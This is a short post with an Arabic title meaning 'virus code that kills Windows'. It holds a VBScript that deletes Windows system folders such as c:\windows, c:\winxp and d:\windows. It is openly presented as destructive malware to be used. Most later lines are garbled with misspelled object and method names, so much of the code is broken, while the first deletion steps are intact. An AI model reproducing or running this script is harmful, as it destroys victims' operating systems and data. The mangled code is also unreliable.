كود فايروس يقتل الوندوز

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersdys.FolderEdxists ("c:\winme") Then
folderdsys.DeletedFolder "c:\winme",TRUE
END IF
If folderdsyds.FoldderdExists ("c:\win_me") Then
foldersys.DeletedFolder "c:\win_me",TRUE
END IF
If foldersyds.FolderEdxists ("c:\winxp") Then
foldedrsys.DeleteFolder "c:\winxp",TRUE
END IF
If folderdsys.FolderExists ("c:\win_xp") Then
folddersys.DeletedFolder "c:\win_xp",TRUE
END IF
If folderdsys.FolderExists ("d:\windows") Then
foldersys.DeleteFdolder "d:\windows",TRUE
END IF